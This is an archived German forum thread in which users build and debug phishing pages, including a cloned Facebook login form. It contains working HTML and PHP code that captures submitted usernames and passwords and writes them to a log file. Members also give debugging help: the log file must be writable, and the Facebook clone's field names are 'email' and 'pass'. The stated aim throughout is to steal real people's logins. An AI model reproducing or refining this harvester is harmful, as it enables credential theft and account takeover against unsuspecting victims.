PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Skript speichert keine Logs



diniel-diniel
03.10.2010, 17:52
Moin,

Wollte mir eine eigene Phishing-Seite erstellen, bloß bekomme keine Logs.
(Internetadressen geändert)

HTML:

<form action="http://webhost.de/send.php" method="POST">
<div align="center"> <span class="Stil9">4.</span><span class="Stil5"> Username:</span>
<input type="text" name="username">
<span class="Stil5">Password: </span>
<input type="password" name="password">
<span class="Stil9">5.</span>
<input name="submit" type="submit" value="Absenden" />
</div>
</form>PHP:

<?php
$username = @$_POST['username'];
$password = @$_POST['password'];
$fp=fopen("log.txt","a+");
fwrite($fp, $username." : ".$password."\n");
fclose($fp);
?> Bin grad ganz neu in diese Materie eingestiegen, bitte mich nicht so fertig machen :D:D


Danke für eure Antworten

100
03.10.2010, 18:18
Das sieht eigentlich richtig aus.. ist der Pfad der send.php garantiert richtig?
Ich weiß zwar nicht was nen @ da soll, aber daran liegts vermutlich nicht.

diniel-diniel
03.10.2010, 18:29
Ja, die ist richtig.
Dateiberechtigung von der send.php ist auch auf 777.

Ich weiß einfach nicht wo der Fehler ist :x

kalachnikov
03.10.2010, 18:31
Die beste Art in diese Materie einzusteigen ist, erstmal PHP und das dazugehörige HTML zu lernen. Dann weißt du genau wieso, was nicht läuft.

To Topic: Auf dem ersten Blick sieht es richtig aus.
Bist du sicher, dass du alles im gleichen Ordner hast und die Log-datei die dazugehörigen Rechte besitzt?

100
03.10.2010, 18:34
<?php
$test = $_GET['test'];
echo "Test: $test";
$fp=fopen("log1.txt","a");
fwrite($fp, "$test\n");
fclose($fp);
?>

Und dann ruf mal "send.php?test=Bla" auf

SFX
03.10.2010, 18:41
Das sieht eigentlich richtig aus.. ist der Pfad der send.php garantiert richtig?
Ich weiß zwar nicht was nen @ da soll, aber daran liegts vermutlich nicht.

Das @ ist dafür da um mögliche Fehler zu unterdrücken, bzw in diesem Fall wäre es die "undefined index" Warnung wenn die send.php direkt aufgerufen wird und nicht über das Formular..

ich würde dir auch noch empfehlen beim Formular nicht die ganze url hinzuschreiben sondern nur send.php, dann kannst du dein Script überall laufen lassen ohne jedes mal die Datei zu ändern..


Dateiberechtigung von der send.php ist auch auf 777.

es ist nicht die send.php die auf 777 stehen muss (bzw war das bei Dateien nicht 666 ?)

es ist die log.txt die beschreibbar sein muss..

um das zu prüfen gibt es in php diese Funktion:



is_writable("log.txt")

diniel-diniel
03.10.2010, 19:32
es ist nicht die send.php die auf 777 stehen muss (bzw war das bei Dateien nicht 666 ?)

es ist die log.txt die beschreibbar sein muss..


danke, danke, danke :)

das war´s, was falsch war ;)

SFX
03.10.2010, 19:37
Kein Problem, war ne Kleinigkeit ;)

Ich denke der Thread kann geclosed werden..

kalachnikov
04.10.2010, 17:33
To Topic: Auf dem ersten Blick sieht es richtig aus.
Bist du sicher, dass du alles im gleichen Ordner hast und die Log-datei die dazugehörigen Rechte besitzt?

Deine Frage wurde vorher schon längst beantwortet.

Stelmi007
21.02.2012, 13:30
Ich wollte auch mal wieder eine erstellen und habe mal aus juck Facebook testen wollen auf dem ftp ist jetzt die

send.php

<?php
$username = @$_POST['username'];
$password = @$_POST['password'];
$fp=fopen("log.txt","a+");
fwrite($fp, $username." : ".$password."\n");
fclose($fp);
?>

Und ich habe den Quellcode der fb seite in

... ><form id="login_form" action="send.php" method="post" onsubmit="return Event.__inlineSubmit(this,e

geändert aber ich kriege einfach keine daten auf den ftp ...

inout
21.02.2012, 14:21
Liegt wohl daran, dass die Eingabefelder nicht username und password, sondern email und pass heissen...

Stelmi007
21.02.2012, 14:42
hm ich habe die immer fertig gehabt kann einer vllt eine fürn ftp erstellen oder mir hier posten?

send.php ,,,,

cby
21.02.2012, 15:04
Bestimmt. Dazu noch eine kalte Cola mit Zitrone?

sn0w
21.02.2012, 15:05
Wenn du es nichtmal hinbekommst sowas in PHP zu schreiben solltest du dir Gedanken machen ob du vielleicht nicht doch lieber um die Zeit in der Schule sein solltest...

lrg0
21.02.2012, 16:29
Kaum zu glauben, dass du für so eine schlechte Phishingseite auch noch Hilfe erwartest.

Und dann nicht einmal ein einfaches Formular in Php auswerten können....

SFX
21.02.2012, 17:25
Und hier, Ladies and Gentleman, haben wir ein Musterexemplar.
Wir haben, extra für sie, aus den Tiefen des Internets eines aufgespürt
und sind stolz es heute präsentieren zu dürfen: ein.... scriptkiddy!